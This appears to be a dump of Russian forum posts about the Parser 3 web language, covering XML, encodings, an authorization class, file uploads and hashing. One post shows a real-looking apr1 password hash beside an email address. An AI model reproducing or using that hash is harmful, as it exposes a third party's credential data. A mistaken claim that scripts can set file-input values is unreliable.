DTD и entities, это ещё на стадии обработки XML происходит, а XML процессор имеет свои принципы :)"
"37759","в Parser целенаправленно нет перекодировок или заданий кодировок таких мелких кусков.\
\
считаю вполне достаточным текущее положение.\
\
возможно, вас устроит вариант:\
[code]\
$file[^file::exec[urldecode.pl;\
   $.charset[utf-8]\
]]\
$file.text\
[/code]\
\
тут вы parser-а попросили перекодировать, и это происходит [b]не[/b] с мелкими кусками, а вполне понятным явлением, когда внешний скрипт живёт в своей кодировке, отличной от основной кодировки сайта."
"37760","символ } соединение кладёт в кэш.\
\
в веб-программировании страницы работают ([b]должны[/b]) очень быстро и уменьшение времени открытости соединения с 0.20 до 0.10 секунды вряд ли кого осчастливит.\
\
отдельно работающие медленные скрипты, запускающиеся регулярно по расписанию — другое дело.\
тут можно предложить сделать пошаговую работу разными скриптами,\
одним скриптом сделать всё, связанное с базой.\
другим — всё остальное."
"37761","сделайте ^try{...} эту ошибку, и напечатайте побольше информации о контексте работы:\
$request:uri, $env:QUERY_STRING\
\
вероятно, вызывается совсем не та, страница, что вы думаете.\
\
проверьте, скажем, адрес\
http://ваш-сервер/bug.html"
"37762","организуете запуск скрипта по расписанию:\
вариант: запуск раз в секунду, проверяем каждый раз очередной адрес, результаты накапливаем в таблице/файлике."
"37763","можно сразу мне в почту. только subject вразумительный дайте..."
"37764","Сейчас вроде бы все исправил... Как я понял, дело было в следующем:\
была одна страница (которая появлялась если пользователь ввел неверный пароль) в которой я забыл прописать этот метод, но в лог записывались совершенно другие страницы... Сейчас исправил, ошибки прекратились..\
\
Один вопрос насчет новой версии парсер. Если перейти на новую не каких изменений делать больше не надо, кроме того как заменить cgi?"
"37765","сделать тривиально, приму patch.\
base64 уже стоит в моём todo.\
\
насчёт вопроса быстродействии реализации SOAP на parser: сравните время marshal/unmarshal со временем самого HTTP запроса, и вопрос снимется сам собой."
"37766","можете использовать и русский, если того хочется.\
\
parser перекодирует имена полей по той же схеме, что и их значения."
"37767","если есть желание помочь кодом, мы открыты.\
\
если нет желания помочь, не стоит скрывать его под фразами об отсутствии bugtrack'алки и системы прав на репозитарий.\
\
будет много желающих помочь, сделаем соответствующие рюшечки."
"37768","возможно, нашли тогда решение..."
"37769","возможно, немного изменив схему обработки данных, этот вопрос отпадёт?"
"37771","Там нет ничего сложного\
\
http://www.livejournal.com/doc/server/ljp.csp.protocol.html"
"37773","идея встроить это в parser по прежнему висит, приму patch."
"37774","К моему великому сожалению, я пока не знаю С++ на уровне, достаточном, чтобы лезть в исходники Parser. \
Что касается быстродействия с реализацией SOAP - полностью согласен. Хотя я очень активно использую вебсервисы с самыми разными протоколами (XML-RPC, SOAP и мой собственный) - ни разу никаких проблем не замечал. Более того, я сравнивал с PHP5 - так получил фактически одинаковый результат, что для запроса SOAP к PHP-скрипту, исползующему soap extension, что для запроса к скрипту Parser, разбирающему xml. Оба интерпретатора работали в режиме CGI под Win, результат замерял на клиенте, а не на сервере, обращался к localhost."
"37775","Нет, к сожалению из всех вариантов, которые я нашел на форуме, ни один не подошел. \
Администратор помог и установил, отсутствующие библиотеки."
"37776","Тогда теряется весь выигрыш от импорта (если бы он нормально проходил, конечно).\
\
Выходит процессор перед импортом полностью обрабатывает и загружаемый шаблон, а поскольку сущности в нём ещё не определены - падает...\
Жаль, могло получится достаточно неплохо...\
Будем думать дальше."
"37778","...приобретение и того и другого уже занесено в мой todo.\
\
И все же, я так и не получил ответ на конкретный вопрос, который я задал в самом начале. Дали бы мне сразу однозначный ответ, и не пришлось бы ничего усложнять:\
- если \"да\", то когда ждать первые релизы и как можно посодействовать разработчикам;\
- если \"нет\", то значит нет, и тогда я уже буду думать, браться ли мне самому за это дело, или найти другое решение."
"37779","Проблема уже решена. Но всё равно спасибо :)"
"37780","Если Вас не затруднит (чтобы время зря не терять), то не могли бы Вы подсказать, в каком месте исходников смотреть как осуществляется перекодировка строки QUERY_STRING (насколько я понял только из Unicode). Если мои мозги осилят, то я слеплю   вставку для перекодировки из %uXXXX в \"абвгд\".\
Заранее благодарен."
"37781","1. имейте в виду, что %uHHHH может быть и в имени и в значении.\
\
2. имейте в виду, что её нужно перекодировать не так, как это обычно происходит."
"37782","Я задумал апгрейдить поиск на сайте. Сейчас поиск умеет разделять запрос на подзапросы (делить на слова), убирать окончания. Хочу сделать подсветку найденных слов, но ни как не приходит в голову каким образом это сделать... Если кто делал, хоть намекните немного как сделать."
"37783","test.html:\
[code]\
@main[]\
^createXML[]\
\
@createXML[]\
$result[^xdoc::create{<document>}]\
	\
@unhandled_exception[exception;stack]\
# force exception in request exception handler\
^unhandled_exception_fake[$exception;$stack]\
[/code]\
\
получаем:\
[code]test.html(3:2): 'createXML' undefined method [parser.runtime][/code]\
\
внятное, но сбивает с толку, при 'exception in request exception handler' хоть более-менее ясно было куда копать, а тут...\
\
3.1.4 win32 isapi"
"37785","Кто нибудь знает, а можно ли сделать сайт знакомтсв на Parser, да еще и за один месяц. Вопрос жизни, смерти и того  получу я диплом  или меня загасят преподы и со мной не известно, что далее будет (надо же было выдумать это на дипломное задание.). Подскажите пожалуйста кто может. Спасибо заранее!"
"37787","Такое что-то вроде [url=\"http://www.ladyorchid.com\"]сайта знакомств[/url] или [url=\"http://love.mail.ru/\"]такого[/url]? У меня есть готового чуть... если сайт первого вида ;)"
"37789","Подскажите как можно защититься от \"обновить\" и \"назад\".\
У меня есть формочка для добавления новостей. Добавил новость, но если потом нажимаю обнивить она добавляется еще раз! Подскажите как этого избежать.\
Заранее благодарю за ответы!"
"37790","Дык наверно можно.\
Закачка фото со всякой инфой типа возраста, предпочтений и т.д.\
Потом выводишь их из базы по запросу. Поиск делаешь.\
Можешь сделать даже, к примеру, пять последних добавленных и прочее..."
"37791","Кажется, как защититься от обновления, сказано в примере Миши про отправку сообщений на мыло."
"37793","чтобы парсер не реагировал на ;"
"37795","Возник вопрос. Стоит ли в администраторской части сайта генерировать с помощью XSLT трансформаций?\
\
Минусы и плюсы применения XSLT трансформации:\
(-) XSLT трансформация будет давать дополнительную нагрузку на сервер\
(+) Можно очень быстро изменить дизайн (надо ли это?)\
\
Кто что думает по этому вопросу?"
"37796","[code]\
1. &mdash^;\
2. ^#97\
3. &mdash^#3b\
4. —\
[/code]\
и ещё один, подходит если есть текст с кучей мдашей:\
[code]@sometext[]\
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;[/code]\
и в нужном месте вставляем вызов метода."
"37797","Прикрутил Класс авторизации.\
_auth_profile.html работает. Пользователи добавляются в базу.\
Пытаюсь залогиниться созданными пользователями (_auth_info.html) ничего не происходит\
[quot]\
Информация о сессии:\
Тип инициализации: -1\
Идентификатор сессии: \
Сессионная кука: \
Пользовательская кука: \
Дата последнего доступа: \
\
Группы:\
Admins \
\
Последний раз подключался пользователь: [/quot]\
\
При попытке сменить пароль Admin`у (_auth_setpwd.html) вываливается такая штука:\
[quot]\
DELETE FROM asession WHERE auser_id = 3 AND asession_id != \
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 5\
z:/...[skip].../sql.p(117:31) [/quot]\
\
PS.\
MySQL 4.1.8\
да, забыл сказать, кодировка не сервере не кои8, а 1251.\
Как надо правильно перекодировать?\
Я просто в FAR`е F4, Shift-F8 -> (KOI8-R), Ctrl-A, Ctrl-X, Shift-F8 -> (Windows-1251), Ctrl-V, Save. :)\
\
Может такое быть из-за кодировок?"
"37798","Если уж весь сайт на xslt, то зачем городить огород и делать администрирование без него."
"37800","Именно чтоб загружались несколько файлов, а не один.\
\
[i]На форуме нашел сообщение, что так делать нельзя. Но сообщение от 2002 года. Может сейчас что-то изменилось?[/i]"
"37802","Может кто знает- бывают ли salt ы  чтоб строка не изменялаь а оставалась не изменной в резулбтате хеширования."
"37803","Можно простым перечислением форм, давая им новые имена. Тогда работает.\
========\
Пробовал пойти рациональным путём и построить таблицу значений. \
Но с формами типа \"file\" у меня не получилось. Не хочет он имя выдавать.\
Может кто-что подскажет..."
"37804","По поводу нагрузкина сервер: как вы думаете, где она выше - на сайте с nn обращениями в секунду, или в админке с одним-двумя администраторами? :)\
СтОит, конечно. Удобно."
"37805","Плюс в том, что меньше нужно будет затратить усилий на адаптацию этой панели для администрирования других сайтов \
(это в том случае, если вы пишете универсальный код)\
\
Изменять дизайн контрольной панели может понадобиться если вы хотите, чтоб он соответствовал дизайну самого сайта (фирменные цвета, логотип...) Возможно, что такой подход намекнет заказчику о \"нешаблонности\" предоставляемых вами решений."
"37806","Подскажите пожалуйста.\
\
Для работы Парсера с файлами *.mdb MS Access, необходим только драйвер ODBC\
или еще что-нибудь нужно устанавливать на сервер?\
\
И где этот драйвер можно взять?"
"37807","Ну из минусов только чуть большую нагрузку (для панели - не суть важно) и где-то большую трудоёмкость разработки.\
\
Хотя если весь сайт сделан на xsl, трудоёмкость не увеличивается, наоборот, проще делать всё единообразно.\
\
У меня, к примеру, администрирвоание такой же раздел как и остальные, просто доступный не всем."
"37808","Хеш - результат [i]необратимого[/i] преобразования.\
\
Если же вы хотите, чтобы одна и та же строка всегда преобразовывалась к одному и тому же хешу, тогда добавьте постоянное тело salt."
"37809","[code]\
@spacer[w;h]\
<div style=\"width: ^if(def $w){$w}{1}px; height: ^if(def $h){$h}{1}px;\"><spacer width=\"^if(def $w){$w}{1}\" height=\"^if(def $h){$h}{1}\" type=\"block\"></div>\
# end @spacer[]\
[/code]"
"37811","глубокуважаемый AL, скажи куда копать? :)"
"37812","Копать в - replace. Замена подстрок в строке.\
Только я не знаю как изначально у Вас построен поиск. У меня поиск с разделением запроса на части и учетом морфологии, прикрутить подсветку к тому что есть, оказалось не сложно. Есть правда один недочет - подсвечиваются уже обрезанные слова. (т.е. полльзователь ищет сосновая, нашлась строка сосновый, а подсветка - СОСНОВый)"
"37813","Тогда и окночания можно захватить..."
"37814","Объясните, кто-нибудь что это за ошибка:  usage failed - no $MAIN:CLASS_PATH were specified, и как её исправить."
"37816","В бороузере запрашиваем файл:\
http://local/test.htm?file=1.gif\
нормально выводится картинка\
\
Через парсер: ^file::load[http://local/test.htm?file=1.gif]\
^file.text.save[1.gif] - сохраняется кусок размером 7 байт.\
\
test.htm:\
$f[^file::load[1.gif]] $response:body[$f]"
"37817","Я имел ввиду, чтоб одна строка преобразовывалась не к одному и томуже виду, а чтоб она преобразовывалась сама в себя или к какому то постоянному виду. Есть ли такие сальты или тела чтоб все строки преобразовывались сами в себя или в какую то одну строку, т.е. при хешировании строки \"password\" получалось \"password\", или чтоб при хешировании любой строки получалось например пустая строка \"\" или \"1\", вряд ли конечно такое бывает  :(....."
"37818","я такой за неделю стряпую!"
"37819","Основные сомнения вызывает $response:body[$файл.text] и $response:body[$файл] в случае, когда content-type неизвестен или может быть любым."
"37822","Интересно как же, мне нужно более менее стабильно рабочее. Если можно то как с тобой связаться?"
"37823","Именно тех знакомств на примеры которых ты указал, эти варианты для меня были бы просто небесами. А что там по счёт готового???? Можно подробнее. Очень буду благодарен и признателен если кто выручит, а может и сам чем смогу отблагодарить."
"37824","Чувак в том то и дело, что я то примерно понимаю как делать, а вот именно конкретно... я  незнаю...."
"37826","ага, а попробуйте поискать table или input :)"
"37827","у crypt есть определенный функционал.\
вам нужен тоже какой-то функционал, но другой. реализуйте этот функционал и назовите его crypt-ом, делов-то.\
\
но преобразовать строку в себя-же или преобразовать её в пустую строку - это не есть crypt. imho =)"
"37828","Давай в мыло..."
"37830","<form method=post action=\"multipart/form-data\">\
   <input type=file name=file1>\
   <input type=file name=file2>\
   <input type=file name=file2>\
   <input type=submit>\
</form>\
^form:file1.save[binary;$form:file1.name]\
^form:file2.save[binary;$form:file2.name]\
^form:file3.save[binary;$form:file3.name]"
"37831","в начало второй страницы почему-то попадает 6 последних сообщений из первой. На третьей странице уже все нормально."
"37832","А если сразу не знаешь, сколько форм будет? Всяко же бывает..."
"37834","Я хотел просто, что бы указывать можно было не по одному файлу (в диалоговом окне), а сразу выделить и всё! Но вроде как это не поддерживается самим ХТМЛом. В диалоговом окне (input type=file name=zzz) можно выбрать только один файл! Прескорбно! А то тут заливать файлы нужно сотнями.... пот и тыйся... :)"
"37836","Сам пока не пробовал, но как возможный вариант:\
1. Получаем List'ом оглавление каталога\
2. Как-нить циклом грузим по очереди.\
Попробуй"
"37837","Доделал я подсветку... Я добавил внутрь таблицы замены replace метод match, им генерю списки замены. Теперь подсвечивает с окончаниями"
"37838","А как циклом скачать содержимое каталога на локальном компе??? Как прочитать список файлав на компе юзверя???"
"37839","http://www.parser.ru/examples/mscroller/"
"37840","Загружать в zip'е а на сервере распаковывать с помощью внешней программы"
"37842","Знаешь, я с парсером сам недавно познакомился.\
Попробовал тут кое что. Но есть вопрос к людям знающим.\
Идея такая. Допустим, получаем список файлов нужной директории, выводим его и уже дальше выбираем нужные и грузим. Но есть проблема с построением списка.\
Кавычки удалил, слеши заменил, но список файлов указанной директории не выводится. Подскажите чё-нить.\
Вот код. Прошу не издеваться, пишу как умею :)\
[code]\
<form method=\"post\"> \
Укажите директорию,<br>указав любой файл:<br>\
<input type=\"file\" name=\"photo\"> <br>\
<input type=\"submit\" value=\"Получить список\"> \
</form>\
$forma[$form:photo]\
$qw[^forma.trim[both;\"]]<br>\
$s[$qw] \
$path[$zamena[^table::create{\
from	to \
\\	/\
}] \
^s.replace[$zamena]]<br>\
<u>Проверка директории:</u> <i>^file:dirname[$path]</i><br>\
$list[^file:list[^file:dirname[$path];.jpg]]\
<u>Существующие файлы:</u>\
^list.menu{\
      $list.name<br>\
}\
[/code]"
"37843","Тут другой принцип. Ты немного не понял смысла Парсера... он находится на сервере, а не у клиента!!!! Поэтому команда list будет работать на сервере!!!! И Парсер будет искать эту директорию на сервере!!!! Вот в чём засада! Нужно подобную фишку провернуть на JavaScript, но я пока не знаю, как на скрипте просмотреть листинг каталога.... Если это сделать, то далше всё становится просто!\
\
Всё на JavaScript.\
1. Создаём дополнительные невидимые поля в форме типа ФАЙЛ\
2. Заполняем его именями файлов (которые мы получили в листинге)\
Теперь при нажатии ОК у нас передадутся все файлы!!!!\
При получении листинга можно сделать фильтры на JGP, GIF, PNG, RAR, ZIP, EXE и т.д.\
\
Если кто знает, как получить листинг... колитесь... :)"
"37844","если не ошибаюсь, динамически скриптом присвоить значение элементу формы типа файл невозможно в принципе. Из соображений безопасности."
"37845","Сервер сервером, но вот это работает точно. Ведь юзер указывает директорию у себя на винте.\
[code]\
$list[^file:list[D:/FLAKE/картинки;.jpg]]\
<u>Существующие файлы:</u>\
^list.menu{\
      $list.name<br>\
}\
[/code]\
А то что ты предлагаешь делать на яве, делается и на парсере.\
Мне тут прислали ещё кое-что. Надеюсь отправитель не будет против.\
[code]\
<input type=text name=n>\
$n($form:n)\
^for[a](1;n){<input type=file name=file${a}>}\
[/code]"
"37846","1. Честно скажу... не понимаю, как это у тебя работает? Если у тебя апача дома стоит с парсером, то всё будет работать. Если на удалённом сервере, то неверное не будет. Но надо проверить.... чуть пожже это сделаю.\
\
2. Если твоя фича верна, то получится ситуация, когда нужно вывезти промежуточное окно (с формой, в которой невидимые поля). Если это делать в яве, то можно в твоей основной форме добавить нужные данные (в нашем случае невидимые поля).\
\
Скоро попробую твою фишку.... отпишусь..."
"37847","В скрипте пишешь....\
\
тело\
...<input type=file name=xxx id=xxx>....\
\
Скрипт по изменению значения!\
... document.all.xxx.value=\"C://vsyakaya_hren.jpg\"; ...\
\
Это было присвоение. Обязательный параметр - ID\
Тоже самое можно делать для любых тэгов, которые должны принимать какие-либо значения, в часности, теги форм!!!!"
"37848","Я юзверю не смору объяснить, что нужно сделать. Тогда уж проще по одному кидать!"
"37849","В доке сказано [quot]Возвращаемый объект может принадлежать либо классу file, если поле формы имеет тип file, либо классу string. Дальнейшая работа с объектом возможна только методами, определенными для соответствующих классов.[/quot].\
Так что затея кажется безнадёжной. Поскольку в форму типа file он отказывается автоматом что-либо пихать. Попробуй. Вдруг??!!"
"37850","Можно спросить, почему список фалов не выводится?\
Код тут\
http://www.parser.ru/forum/?id=37842"
"37851","Потому что парсер стоит на удалённом сервере! Ты ему передаёшь файл, переменные, адреса..., но не листинг директории!!! По сути дела, парсер - это расширение ХТМЛ, которое только генерирует ХТМЛ страницы и принимает от клиента только адреса, переменные и формы (в формах листинге не передаются) посредствам того же ХТМЛ. JavaScript - выполняется на клиентском компьютере. С помощью него можно изменить ХТМЛ, который передаст парсеру данные. А это значит, что передать листинг нужно с помощью JavaScript, например, в переменной. В свою очередь, если не ошибаюсь, JavaScript не может открывать файлы и читать каталоги на клиентсяком помпьютере. (из-за безопасности). Но наверняка есть другие пути обхода данной проблемы!"
"37852","Возникла таже проблема подключения к MS Access. \
Я использую Денвер для отладки на локальной машине.\
\
При: ^connect[odbc://Driver={Microsoft Access Driver (*.mdb)}^;Dbq=baza.mdb]\
Р3 выдает что нет parser3odbc.dll - где ее брать?"
"37853","Либо я не замечаю очевидную ошибку, либо оно не работает...\
\
Итак, прикрутил auth.p и sql.p (которые наисвежайшие, от 3 марта) к тестовому сайту под IIS5 и MSSQL 2000. Как и было рекомендовано, воспользовался прослойкой (my_auth.p), в которой буду перекрывать методы, чтобы не править сам auth.p\
\
[b]Корневой auto.p:[/b][code]@USE\
lib.p\
mssql.p\
my_auth.p\
\
@auto[]\
#  Параметры подключения к базе данных MSSQL:\
$SQL.connect-string[odbc://Driver={SQL Server}^;\
	Server=127.0.0.1^;\
	Database=GFKForum^;\
#	AutoTranslate=no^;\
	UID=sa^;\
	PWD=[color=\"#00ff00\"]censored![/color]^;\
	App=Parser^;\
	Language=English^;\
	StatsLog_On=no^;\
	QueryLog_On=no^;\
	Regional=no^;\
	Description=Parser^;\
	Trusted_Connection=no^;\
	ClientCharset=windows-1251^;\
]\
\
# создаем SQL объект через который будут происходить все обращения к SQL\
$MAIN:pSQL[^mssql::init[$SQL.connect-string;$.is_debug(1)]]\
\
# Подключаем класс авторизации:\
^MAIN:pSQL.server{\
	$auth[\
		^my_auth::init[\
			$cookie:CLASS;\
			$form:fields;\
			$.csql[$pSQL]\
			$.timeout(1)\
			$.event_lifetime(60)\
			$.event_min_count(300)\
			$.[color=\"#00ff00\"]additional_fields[/color][^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
YEAR(dt_birth)		dt_birth\
photo}]\
		]\
	]\
}\
[/code][b]Класс-прослойка my_auth.p:[/b][code]@CLASS\
my_auth\
\
@USE\
auth.p\
\
@BASE\
auth\
\
@init[icookie_data;ilogon_data;iparams]\
^BASE:init[$icookie_data;$ilogon_data;$iparams]\
\
########################################\
# Переопределенный метод Logon\
# @htmlFormLogon[in_params][lparams]\
# ...\
# ...\
## End @htmlFormLogon\
\
# коды ошибок\
@getErrors[]\
$result[^table::create{id	name\
1	Вы не авторизовались\
2	Вы не указали имя для регистрации\
4	Выбранное вами имя уже существует\
8	Вы не указали пароль\
16	Введённые пароли не совпадают\
32	Вы не указали Email-адрес\
64	Похоже, что указанный вами Email неверен\
128	Пользователь не наден\
256	Найдено сразу несколько пользователей\
32768	Неизвестная ошибка\
}]\
#end @getErrors[] [/code]В auth_mssql.sql добавил нужные столбцы. К себе, единственному пользователю, в поле first_name и last_name вписал букв от балды. Теперь вызываем тестовый файлик [b]auth.html[/b][code]@USE\
my_auth.p\
\
@main[]\
\
<p>\
	<b>Информация о пользователе:</b><br />\
	Логин: $auth.user.name<br />\
	Test1: $auth.first_name <br />\
	Test2: $auth.last_name <br />\
</p>[/code]Вызываю http://127.0.0.1/auth.html?mode=debug и получаю:[code]Информация о пользователе:\
Логин: Sanja\
Test1:\
Test2: Sanja[/code]смотрю на последние две строки и удивляюсь. Лезу в sql.txt и нахожу там:\
\
[i]TYPE: table\
EXECUTION TIME: 0 ms\
MEMORY USAGE: 12 КБ/20 blocks\
ROWS SELECTED: 1\
QUERY:\
SELECT auser_id AS user_id, name, email, description, rights, passwd, new_passwd, dt_register, dt_logon, dt_logout, connections_limit, event_type, last_name AS last_name, first_name AS first_name, middle_name AS middle_name, YEAR(dt_birth) AS dt_birth, photo FROM auser WHERE is_published = 1 AND auser_type_id = 0 AND auser_id != 0 AND auser_id = 3 ORDER BY dt_logon DESC[/i]\
\
Копирую этот запрос и запускаю его вручную из ЭнтерпрайзМенеджера. Получаю \
\
[i]user_id    name                                                                                                                            email                                                           rights     passwd                                                          new_passwd                                                      dt_register         dt_logon            dt_logout           connections_limit event_type last_name                                                                                                                                                                                                                                                       first_name                                                                                                                                                                                                                                                      middle_name                                                                                                                                                                                                                                                     dt_birth   photo   \
--------                                                                                                                                                                                                                                                        \
3          Sanja                                                                                                                           zzzzzz@bougakov.com                                           16777215   $apr1$9fl9gB5E$276NPIOYsIeu0rOZr1yhu/                           NULL                                                            08.03.2005 18:18:12 08.03.2005 19:26:49 08.03.2005 19:20:27 1                 0          qwerty1                                                                                                                                                                                                                                                       qwerty2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1900\
\
( 1 row(s) affected)[/i]\
\
Вопрос: каким образом в $auth.last_name попадает значение из $auth.user.name, а не законное \"qwerty2\"?\
\
Вопрос №2 (маловажный, но уж коли пошли обсуждать класс авторизации): почему не срабатывает перекрытие метода @getErrors[] из auth.p методом @getErrors[] из my_auth.p?"
"37854","надо так:\
[quot]\
Test1: $auth.user.first_name<br />\
Test2: $auth.user.last_name<br />\
[/quot]\
\
в $auth.last_name лежит логин, с которым последнй раз был произведен успешный вход.\
\
@getErrors[] - нет мыслей, надо смотреть что не так. я сам не пробовал перекрывать."
"37856","Ему ничего объяснять не надо. Просто путь заливает архив в зипе. Все остальное делается без его участия. \"Народоподобным\" хостингом никогда не пользовался? Там именно так можно архивы закачивать. А они потом сами распаковываются и на сервере получаешь его содержимое."
"37857","http://www.w3.org/TR/REC-html40/appendix/notes.html#forms-security\
B.10.1 Security issues for forms\
\
В вольном переводе сие значит:\
B.10.1 Проблемы безопасности для форм\
Агентом пользователя не должен отправляться никакой файл, который пользователь явно бы не указал для отправки. Таким образом, HTML-агенты пользователя должны ожидать подтверждения для любых имен файлов, которые могли бы являться значением элемента INPUT. Скрытые средства управления не должны указывать файлы.\
\
Природу не обманешь."
"37858","Секрет да?"
"37859","А на счет конкретного… Так надо садиться и делать, иногда так проще выходит ;)"
"37860","Попробуйте задать вопрос по JavaScript на [url=\"http://xpoint.ru/\"]xpoint.ru[/url]:\
\
http://xpoint.ru/forums/programming/javascript/misc/forum.xhtml\
\
Там тебе помогут. :)"
"37862","Попробовал я изучить Парсер, почитал доки, написал кое-что. И вот мое личное мнение:\
\
ЖЕЛАЮЩИЕ ИЗУЧИТЬ ПАРСЕР, НЕ НАДО ДЕЛАТЬ ЭТОГО!!! ПАРСЕР - ЭТО ОЧЕНЬ НЕУДОБНЫЙ, МАЛОФУНКЦИОНАЛЬНЫЙ И НЕПОНЯТНЫЙ ЯЗЫК. НИКАКИХ ПРЕИМУЩЕСТВ У НЕГО НЕТ. А ПО ПОВОДУ ХВАЛЕНОЙ ИНТЕГРАЦИИ В HTML МОГУ СКАЗАТЬ ОДНО: ЭТО ЖЕ БРЕД!\
\
PS. А у разработчиков этого \"языка программирования\" мне хочется спросить: Вам что, заняться нечем???"
"37864","parser 3.1.4, работает под 5.4-PRERELEASE (c установленными библиотеками из /usr/ports/misc/compat4x). Apache 1.3.33.\
\
FreeBSD freeweb 5.4-PRERELEASE FreeBSD 5.4-PRERELEASE #0: Sat Mar  5 11:05:37 MSK 2005     root@freeweb:/.other/usrobj/.other/usrsrc/sys/FREEWEB  i386\
\
Обычные документы обрабатывает нормально, а вот когда вызывается как обработчик ErrorDocument - падает :\
Mar  9 10:08:10 freeweb kernel: pid 93223 (parser3.cgi), uid 80: exited on signal 4"
"37865","выдаёт это:\
create\
Entity: line 1: parser error : Premature end of data in tag document line 1\
<document>\
          ^\
\
c:/drives/y/parser3project/parser3/www/htdocs/_bug.html(5:16)"
"37867","Там есть все, что нужно для счастья:\
- редактирование теста: форматирование строк, выбор шрифта, вставка таблиц и т.д.\
- создание новых страниц на основе шаблона\
- что еще надо....."
"37868","обычно есть.\
\
ещё перечитайте в документации про строки соединения, я добавил там описание простого способа (стало сильно проще)."
"37869","http://www.cmslist.ru/"
"37871","если так, хотел бы на неё глянуть.\
\
уже сталкивались с подобным, поищите по форуму, если интересно.\
\
4 = illegal instruction"
"37872","да, ушло почтой на paf@"
"37873","да, такой вопрос - parser/freebsd под какой процессор компилируется? на этой машине p200mmx....."
"37874","суть которой сводится к тому, что зеркало не виновато в том, что у Вас не оттуда руки. :)"
"37875","В продолжение темы про процессоры:\
\
перебросил винт на другую машину (P4-1600), всё работает."
"37876","при нормальном @unhandled_exception[] получаем:\
\
[b]create[/b]\
c:/путь_до_файла/test.html(5:16)\
-----------------------------------------------\
createXML c:/путь_до_файла/test.html(2:2) \
\
в лог пишет примерно следующее:\
[code][ ... ] /test.html: c:/путь_до_файла/test.html(5:16): 'create' <no comment> [xml][/code]\
\
при отключенном @unhandled_exception[] в лог пишет то-же самое.\
\
в ближайшие пару дней постараюсь разобраться, из-за чего такое происходит."
"37877","Знаем мы такую поговорку))).\
redactor, я же не говорю, что на Парсере совсем ничего написать нельзя... Для простенького (вроде www.prolugansk.com ;) ) он сойдет; можно даже написать на нем магазин, но зачем??? Зачем лезть в этот дремучий лес, если есть такие вещи как .NET и Java? Ну или PHP..."
"37878","Есть такая народная мудрость: \"Умный учиться на чужих ошибках\". Я запостил это лишь для того, чтобы к нему прислушались новички, которые хотят повторить мою ошибку - угрохать бесценное время на изучение такой лабуды как Парсер."
"37879","Нужны аргументы? Вот некоторые:\
1) Парсер - это локальная разработка студии Лебедева. \"Стандартом для всего рунета\" он не стал и, скорее всего, не станет. Если уж говорить про \"стандарты\" - то это как раз PHP, Perl и .NET\
2) \"Конструкции, вставляемые в HTML\" - это отдельная песня))). Все стремяться отделять представление от логики, а тут все наоборот. \
=> HTML-код с конструкциями Парсера выглядит ужасно (ИМХО).\
3) В Парсере нет нормальной объектно-ориентированной концепции. Где наследование? Где интерфейсы? Где модификаторы доступа?\
4) Парсер очень слабенько работает с базами данных. Сравните хотя бы с ADO.NET\
5) Все, что есть в Парсере, есть в PHP, Perl и других нормальных языках.\
\
Я молчу про производительность Парсера (не измерял), про количество заказов на разработку ПО на Парсере (во много раз меньше, чем на PHP, если вообще они есть) и про количество готовых модулей, написанных на Парсере (а у PHP Pear есть ;) ).\
\
ИТОГ: Надо быть немного идиотом, чтобы писать на Парсере серьезное программное обеспечение. Хотя есть люди, которые простых путей не ищут (с) ;)"
"37880","поищите по форуму, это уже обсуждалось. включая решение (опция при сборке)"
"37883","Да я и сам скоро уйду ;))"
"37884","Не сешивайте...\
Зачем сравнивать Parser и ADO.NET? А если сравнить тот же PHP c ADO.NET? \
\
\"Все, что есть в Парсере, есть в PHP, Perl и других нормальных языках.\"\
Совершенно верно... :) Так же можно сказать про ASP да и про любой другой язык...\
\
Зачем упоминать про Perl вообще не понятно - это язык для других вещей...\
Одно правильное замечание - маленький спрос на ПО\
\
ИТОГ: Parser не хуже других язвков (PHP, ASP), а по некоторым параметрам - лучше."
"37885","\"...а по некоторым параметрам - лучше.\"\
И по каким же)))?\
\
AL, а что вы скажете по поводу пунктов 1, 2 и 3? ;)"
"37886","Два вопроса:\
\
1) Как я понял, класс даёт возможность пользователю переименоваться - а мне это совсем не в радость. Как понимаю, выкидывание поля ввода из формы - не выход, кто-то ушлый может вставить его туда ручками. Как лучше это обойти - выкинуть из auth.p строку 755:[code]752: UPDATE\
753: 	auser\
754: SET\
755: 	name = '$user_data.[auth.name]'[/code]или сделать в MSSQLе ON UPDATE-триггер, который не даст заменить name?\
\
2) Как я понимаю, в классе предусмотрено но не включено подтверждение Email'а при регистрации а ля [i]сейчас к вам по почте придёт ссылочка и вы на неё кликнете - тольно после этого регистрация будет завершена[/i] (методы @setTemporaryPasswd[email;name] и @setPasswdFromTemporary[email;name;code]) - но я не дотумкал, как этим воспользоваться. Кто-нибудь добрый может поделиться описанием или работающим примером?"
"37888","1)по 2 пункту сказать ничего не могу, т.к. аргумент не понятный....\
2)по 1 пункту - да, он не является стандартом, а оно вам надо? И что значит стандарт? Пользователю главное функциональность, заказчик не будет лезть и спрашивать, \"на чем сделан мой сайт?\"\
3)без этого нормально обхожусь\
4) :) добавлю от себя.. я не столкнулся не с чем, чего не умеет парсер\
\
Что лучше - изящность кода, простота обновлений на сайте + кому что больше нравится"
"37890","Имхо, аргумент оч. даже понятный: и смешивание уровней бизнес-логики и представления как-то несеръезно. Нет, сайты из 10-100 страниц вполне можно делать, конечно.\
\
По поводу стандарта - да, так оно и есть. Только поддержка нулевая (насколько я понимаю, кроме этого форума и ткнуться-то некуда).\
\
По поводу \"без этого нормально обхожусь\" - это следствие того, что вам непонятем первый аргумент. Имхо.\
\
Про изящность кода на парсере я так понял это была шутка все-таки? ;)\
\
На мой взгляд, это самый большой минус перед PHP/ASP 3.0(.NET/J2EE не рассматриваем как вещи другого порядка) - человек, который видит код впервые и с парсером не оч. знаком с ооочень большим трудом разберется как и что."
"37891","1. \
[code]\
^auth.updateUser[\
  ^hash::create[$form:fields]\
  $.[auth.name][$auth.user.name]\
]\
[/code]\
\
2. не предусмотрено. методы setTemporaryPasswd и setPasswdFromTemporary для изменения пароля забывчивым пользователем. есссно работает только в случае, если у него был введен существующий email. если надо подтверждение могу предложить следующее: \
1. auser.is_published DEFAULT 0 NOT NULL\
2. после регистрании (^auth.insertUser[], пароль не спрашиваем) делается не ^auth.logon[] а генерация случаного пароля, setTemporaryPasswd и ^mail:send[]. но если по хорошему то надо ещё что-то подобное сделать со сменой email."
"37892","никакой не isapi, apache module конечно-же...\
\
причём такая-же ошибка и на CGI-варианте, и не только у меня...\
